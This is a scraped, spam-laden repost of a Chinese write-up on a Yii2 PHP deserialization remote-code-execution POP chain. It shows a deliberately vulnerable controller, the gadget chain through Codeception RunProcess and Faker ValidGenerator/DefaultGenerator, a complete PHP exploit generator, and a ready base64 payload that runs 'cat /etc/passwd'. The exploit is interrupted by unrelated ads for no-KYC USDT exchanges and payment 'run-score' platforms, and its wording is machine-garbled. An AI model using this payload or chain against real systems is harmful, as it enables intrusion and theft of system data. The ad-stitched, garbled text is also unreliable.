USDT交易平台

U交所(www.9cx.net)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。

Yii反序列化破绽

0x搭建环境

首先行使composer安装yii2框架

composer create-project yiisoft/yii2-app-basic yii2

yii2 version <= 2.0.41(GitHub最新版本)

使用docker环境启动

cd yii2
docker run -d -p 80:80  -v $(pwd):/var/www/html suanve/php:7.3-apache

接见127.0.0.1:80/web 打开首页

环境搭建乐成在controllers/SiteController.php添加代码

public function actionTest()
    {
        // echo base64_decode(file_get_contents("php://input"));
        return unserialize(base64_decode(file_get_contents("php://input")));
    }

1x destruct起点

往凡人人的链子都是通过\yii\vendor\yiisoft\yii2\db\BatchQueryResult.php_dataReader最先的

然则在最新版本官方添加了__wakeup 用于阻止反序列化

/**
     * Unserialization is disabled to prevent remote code execution in case application
     * calls unserialize() on user input containing specially crafted string.
     * @see CVE-2020-15148
     * @since 2.0.38
     */
    public function __wakeup()
    {
        throw new \BadMethodCallException('Cannot unserialize ' . __CLASS__);
    }

凭证魔术方式function __destruct()我们可以找到vendor/codeception/codeception/ext/RunProcess.php文件

这里由于$this->processes可控 以是\$process可控,下文中if判断处isRunning()可用来触发call方式,在当前文件中我们没有找到`wakeup`函数,证实这里是可以作为我们pop链的起点的。

2x call挪用

以前人人都用vendor/fakerphp/faker/src/Faker/Generator.php来挪用$this->format

官方在新版本也同样添加了__wakeup()做限制

,

Usdt第三方支付接口

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,
public function __wakeup()
    {
        $this->formatters = [];
    }

我们继续搜索call 发现vendor/fakerphp/faker/src/Faker/ValidGenerator.php的`call方式存在两处代码执行点,且没有__wakeup`限制

这里$this->generator,$this->validator,$this->maxRetries三者可控

我们只需要给$this->generator找一个call返回可控字符串的工具就可以使$res返回值可控

do循环中的if判断可以直接把maxRetries设置为很大的数跳过Exception

接着$this->validator可控制 我们就可以执行随便下令了

3x 二重call

这里直接找到了一个Faker命名空间下的vendor/fakerphp/faker/src/Faker/DefaultGenerator.php

我们将$this->default设置为'cat /etc/passwd' 这样vendor/fakerphp/faker/src/Faker/ValidGenerator.php

$this->generator为DefaultGenerator.php`

$name触发call

$arguments 无所谓的情形下

$res的效果将完全可控

$res = call_user_func_array([$this->generator, $name], $arguments);
// $res完全可控

4x exp:

<?php
namespace Faker{

    class DefaultGenerator{
        protected $default ;
        function __construct($argv)
        {
            $this->default = $argv;
        }
    }

    class ValidGenerator{
        protected $generator;
        protected $validator;
        protected $maxRetries;
        function __construct($command,$argv)
        {
            $this->generator = new DefaultGenerator($argv);
            $this->validator = $command;
            $this->maxRetries = 99999999;
        }
    }
}

namespace Codeception\Extension{
    use Faker\ValidGenerator;
    class RunProcess{
        private $processes = [] ;
        function __construct($command,$argv)
        {
            $this->processes[] = new ValidGenerator($command,$argv);
        }
    }
}

namespace {
    use Codeception\Extension\RunProcess;
    $exp = new RunProcess('system','cat /etc/passwd');
    echo(base64_encode(serialize($exp)));
    exit();
}

TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6MTU6ImNhdCAvZXRjL3Bhc3N3ZCI7fXM6MTI6IgAqAHZhbGlkYXRvciI7czo2OiJzeXN0ZW0iO3M6MTM6IgAqAG1heFJldHJpZXMiO2k6OTk5OTk5OTk7fX19


鄂尔多斯新闻网声明:该文看法仅代表作者自己,与本平台无关。转载请注明:usdt担保交易平台(www.uotc.vip):Yii2反序列化RCE 新POP链
发布评论

分享到:

中共中央关于追授黄文秀同道“全国优异共产党员”称呼的决议_申博官网
你是第一个吃螃蟹的人
发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。